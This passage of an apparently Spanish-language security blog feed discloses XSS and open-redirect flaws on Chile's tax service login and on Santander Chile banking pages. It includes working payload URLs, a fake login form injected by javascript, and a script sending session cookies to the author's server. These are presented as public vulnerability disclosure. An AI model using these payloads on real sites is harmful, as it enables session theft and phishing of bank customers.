		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[servicio impuestos internos]]></category>
		<category><![CDATA[sii]]></category>
		<category><![CDATA[sitios vulnerables]]></category>
		<category><![CDATA[url redirection]]></category>
		<category><![CDATA[vulnerabilidad]]></category>
		<category><![CDATA[vulnerabilidades]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2261</guid>
		<description><![CDATA[Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario. Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/sii_online_peq.jpg"><img class="aligncenter size-full wp-image-2262" title="sii_online_peq" src="http://blog.zerial.org/wp-content/uploads/2011/05/sii_online_peq.jpg" alt="" width="200" height="77" /></a></p>
<p>Con esta vulnerabilidad es posible robar información sensible y suplantar la identidad del usuario.</p>
<p>Justo en la fecha de la devolución de impuestos aparece esta vulnerabilidad en el login del sistema. Permite redireccionar a un usuario, luego de logearse, a cualquier sitio e incluso permite el robo de cookies mediante ejecución arbitraria de javascript en el cliente.</p>
<p>La URL vulnerable es <a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html</a> que al agregarle al final &#8220;<strong>?http://alguna_url</strong>&#8220;, el usuario luego de iniciar sesión será redirigido hacia esa URL. Por ejemplo:</p>
<p><a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?https://www.google.com</a></p>
<p>Luego de ingresar, seremos redirigidos a Google.</p>
<p>Tambien puede ser un javascript, por ejemplo mostrando las cookies de sesión:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/sii_xss.png"><img class="aligncenter size-full wp-image-2263" title="sii_xss" src="http://blog.zerial.org/wp-content/uploads/2011/05/sii_xss.png" alt="" width="715" height="191" /></a></p>
<p>O por ejemplo, usar javascript para dibujar un formulario que haga POST a un sitio remoto, capturando la información:</p>
<p><a href="https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;">https://zeus.sii.cl/AUT2000/InicioAutenticacion/IngresoRutClave.html?javascript:document.write%28%27%3Cform%20method=post%20action=%3Eusuario:%20%3Cinput%20type=text%3E%3Cbr%3Epass:%20%3Cinput%20type=password%3E%3Cbr%3E%3Cinput%20type=submit%20value=entrar%3E%27%29;</a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/form_sii.png"><img class="aligncenter size-full wp-image-2265" title="form_sii" src="http://blog.zerial.org/wp-content/uploads/2011/05/form_sii.png" alt="" width="433" height="152" /></a></p>
<p>Abusando de la confianza que tiene el usuario sobre el sitio, con certificado SSL válido. De esta forma es posible obtener información confidencial de los usuarios, de forma transparente.</p>
<p>Nuevamente los sistemas informáticos dejan mucho que desear. Esta vulnerabilidad fue reportada la semana pasada mediante el formulario de contacto (el único medio disponible) pero no se obtuvo respuesta.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Farbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/"  data-text="Arbitrary URL Redirection y XSS en sitio web del S.I.I" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/arbitratry-url-redirection-y-xss-en-sitio-web-del-s-i-i/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>El Phishing y el Banco Santander Chile</title>
		<link>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-santander-chile/</link>
		<comments>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-santander-chile/#comments</comments>
		<pubDate>Wed, 04 May 2011 15:08:33 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Privacidad]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[secureless]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2235</guid>
		<description><![CDATA[Hace unos meses reporté una vulnerabilidad XSS en la banca de personas del Banco Santander, la cual no ha sido corregida. Ahora, segun la campaña anunciada por parte de Secureless, retomaré este mismo bug y aprovecharé de reportar otros que hemos encontrado, además preparé unas pruebas de concepto para dejar en claro que podemos hacer [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-1899" title="logo-santander" src="http://blog.zerial.org/wp-content/uploads/2010/09/logo-santander.jpg" alt="" width="482" height="144" /></p>
<p>Hace unos meses <a href="http://blog.zerial.org/seguridad/vulnerabilidad-en-banca-de-personas-del-banco-santander/">reporté una vulnerabilidad XSS en la banca de personas del Banco Santander</a>, la cual no ha sido corregida. Ahora, segun <a href="http://blog.zerial.org/seguridad/xss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing/">la campaña anunciada</a> por parte de <a href="http://secureless.org">Secureless</a>, retomaré este mismo bug y aprovecharé de reportar otros que hemos encontrado, además preparé unas pruebas de concepto para dejar en claro que podemos hacer y que no, explotando estas vulnerabilidades donde los unicos afectados son los <span style="text-decoration: line-through;">clientes</span> usuarios.</p>
<p>Las vulnerabilidades detectadas son del tipo XSS, encontradas en el sistema de clientes (banca de personas) y en el sitio web público.</p>
<p>Los scripts o urls vulnerables son:</p>
<ul>
<li>https://www.santander.cl/transa/errores/PagError.asp</li>
<li>https://www.santander.cl/transa/productos/tc_conti/PAMPA/pcpMosTjc.asp</li>
<li>https://www.santander.cl/transa/preerror.asp</li>
</ul>
<p>Las tres con certificado ssl, permitiendo aprovecharse de la confianza que tiene el usuario sobre el sitio.</p>
<p><span id="more-2235"></span></p>
<p>Como primera prueba de concepto, inyectaré un código html que permita crear un iframe dentro del sitio, mostrando información de un sitio remoto distinto al Santander, que perfectamente podria ser un sitio malicioso.</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/iframe1.png"><img class="aligncenter size-full wp-image-2241" title="Xss Banco Santander" src="http://blog.zerial.org/wp-content/uploads/2011/05/iframe1.png" alt="" width="614" height="109" /></a></p>
<p>En este caso, en mi servidor tengo un archivo &#8220;PoC.html&#8221; y he accedido a el desde el dominio santander.cl. De esta forma podemos incluir en ese iframe un sitio que tenga una copia exacta del banco, usando el dominio de santander y la confianza del usuario.</p>
<p>El siguiente ejercicio, será el secuestro de cookies. El primer paso es ver la cookie usando un simple &#8220;alert&#8221; en javascript:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/xss1.png"><img class="aligncenter size-medium wp-image-2242" title="XSS Santander" src="http://blog.zerial.org/wp-content/uploads/2011/05/xss1-300x148.png" alt="" width="300" height="148" /></a></p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/xss2_logeado.png"><img class="aligncenter size-medium wp-image-2243" title="XSS Santander" src="http://blog.zerial.org/wp-content/uploads/2011/05/xss2_logeado-300x136.png" alt="" width="300" height="136" /></a></p>
<p>El primer pantallazo corresponde a una de las URL que no necesita estar logeado, el segundo es con la sesión iniciada.</p>
<p>Ahora enviaremos esa cookie a un servidor externo, inyectando el siguiente script:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="st0">&#8216;; } window.location.href=&#8217;</span>http:<span class="co1">//zerial.org/poc.php?cookie=&#8217; %2B document.cookie.replace(&#8216;%23&#8242;, &#8216;\%23&#8242;);&lt;/script&gt;   &amp;amp;numtcrf=1&amp;amp;codigotc=1017&amp;amp;codigoalta=0150&amp;amp;formato=HTM</span></div>
</li>
</ol>
</div>
<p>Y recibiendolo en mi servidor con un simple script en php que lea la variable &#8220;cookie&#8221; pasada por GET.<br />
En el caso de no estar con la sesion iniciada, veremos algo asi:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/cookie_recibida.png"><img class="aligncenter size-full wp-image-2248" title="cookie_recibida" src="http://blog.zerial.org/wp-content/uploads/2011/05/cookie_recibida.png" alt="" width="624" height="211" /></a></p>
<p>Cuando iniciemos sesion, fijense el cambio:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/robo_sesion2_logeado.png"><img class="aligncenter size-full wp-image-2249" title="robo_sesion2_logeado" src="http://blog.zerial.org/wp-content/uploads/2011/05/robo_sesion2_logeado.png" alt="" width="633" height="216" /></a></p>
<p>El IDLOGIN cambia.</p>
<p>Finalmente, podemos lograr algo asi:</p>
<p><a href="http://blog.zerial.org/wp-content/uploads/2011/05/290391424.png"><img class="aligncenter size-large wp-image-2252" title="Phishing Santander" src="http://blog.zerial.org/wp-content/uploads/2011/05/290391424-1024x721.png" alt="" width="656" height="461" /></a></p>
<p>En la URL https://www.santander.cl se visualiza el sitio de http://www.bancoestado.cl, con un simple iframe pasado por GET a la variable y script vulnerable.</p>
<p>Perfectamente un atacante podria realizar algo similar, con un sitio completamente falso que se dedicara a obtener información, pedir usuario, contraseña, etc.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fel-phishing-y-el-banco-santander-chile%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/el-phishing-y-el-banco-santander-chile/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/el-phishing-y-el-banco-santander-chile/"  data-text="El Phishing y el Banco Santander Chile" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/el-phishing-y-el-banco-santander-chile/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>XSS y CSRF en sitios web de Bancos: Ellos mismos facilitan el phishing</title>
		<link>http://blog.zerial.org/seguridad/xss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing/</link>
		<comments>http://blog.zerial.org/seguridad/xss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing/#comments</comments>
		<pubDate>Mon, 02 May 2011 18:55:48 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[bancos]]></category>
		<category><![CDATA[chile]]></category>
		<category><![CDATA[cross-site request forgery]]></category>
		<category><![CDATA[cross-site scripting]]></category>
		<category><![CDATA[csrf]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[phishing]]></category>
		<category><![CDATA[secureless]]></category>
		<category><![CDATA[xsrf]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=2216</guid>
		<description><![CDATA[Se está poniendo de moda el phishing y el robo de datos bancarios para realizar transferencias no deseadas, cada vez son mas los usuarios afectados y muchos de ellos no logran recuperar su dinero, simplemente el banco no responde. Por un lado tienen razón, ya que quien entregó su información personal y privada fueron ellos [...]]]></description>
			<content:encoded><![CDATA[<p>Se está poniendo de moda el phishing y el robo de datos bancarios para realizar transferencias no deseadas, cada vez son mas los usuarios afectados y muchos de ellos no logran recuperar su dinero, simplemente el banco no responde. Por un lado tienen razón, ya que quien entregó su información personal y privada fueron ellos mismos, pocas veces este tipo de robos son debido a una falla/bug/vulnerabilidad que afecte directamente al banco.</p>
<p><img class="aligncenter size-full wp-image-2218" title="phishing" src="http://blog.zerial.org/wp-content/uploads/2011/05/phishing.jpg" alt="Imagen tomada de quejasyfraudes.info" width="265" height="270" />En Chile, los bancos tienen una campaña contra el phishing donde se limitan a entregar manuales y decir &#8220;no ingreses tus datos donde no debes&#8221;, pero realmente no se preocupan de tener mecanismos de validación y protección, permitiendo que cualquier persona pueda suplantar su identidad y usar la confianza que tiene el usuario en el sitio.<br />
Existe un sitio llamado &#8220;<a href="http://www.avispate.cl/">avispate.cl</a>&#8220;, que supuestamente es para hacer un llamado a la gente y educar para que no caigan en este tipo de trampas y no entreguen información a cualquier sitio.</p>
<p>Bien, por un lado tenemos que los usuarios entregan información a personas que no corresponden, que caen en las trampas pero por otro lado, algo que es <em>claramente</em> responsabilidad del banco: <strong>Hacer que sus sitios y sistemas sean 100% seguros!</strong></p>
<p><span id="more-2216"></span></p>
<p>Los bancos en lugar de ayudar a los usuarios y prevenir este tipo de ataques, prefieren cobrar:</p>
<p><img class="aligncenter size-full wp-image-2230" title="bbv1_planes" src="http://blog.zerial.org/wp-content/uploads/2011/05/bbv1_planes.png" alt="" width="529" height="330" /></p>
<p>En <a href="http://secureless.org"><strong>secureless</strong></a>, comenzamos a trabajar en una investigación en busca de vulnerabilidades XSS, CSRF y otras que puedan afectar directamente al usuario. Nuestro propósito es dejar en claro que los bancos deben ser competentes y responder por las fallas de seguridad que tienen. Hasta ahora, según nosotros, como este tipo de vulnerabilidades no les afecta a ellos, sino que afecta a los clientes, entonces no se preocupan lo suficiente.<br />
El proyecto consiste en publicar estas vulnerabilidades diariamente durante un par de dias, demostrar y dejar al descubierto este tipo de negligencia. Comenzaremos por Chile, luego seguiremos atacando bancos de otros paises.</p>
<p><strong>Sobre XSS y CSRF &#8230;</strong></p>
<p>Las vulnerabilidades <a href="http://es.wikipedia.org/wiki/XSS">XSS</a> permiten realizar modificaciones en los sitios web por el lado del cliente, cuando una entidad bancaria con certificado ssl (https) tiene este tipo de vulnerabilidad, se combierte en un sitio potencial para ser atacado y sus usuarios los afectados. Por ejemplo, si un sitio permite inyectar código html o javascript, facilmente podriamos poner un iframe que ocupe todo el ancho y alto del navegador, y que el usuario no se de cuenta que está visitando a otra página.</p>
<p>Por otro lado tenemos los ataques <a href="http://es.wikipedia.org/wiki/CSRF">CSRF</a>, que combinado con <a href="http://es.wikipedia.org/wiki/XSS">XSS</a>, practicamente es posible hacer lo que queramos con el usuario: llevarlo de un sitio a otro, pasar parametros de un sitio falso a uno verdadero, etc.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fxss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/seguridad/xss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/seguridad/xss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing/"  data-text="XSS y CSRF en sitios web de Bancos: Ellos mismos facilitan el phishing" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/xss-y-csrf-en-sitios-web-de-bancos-ellos-mismos-facilitan-el-phishing/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

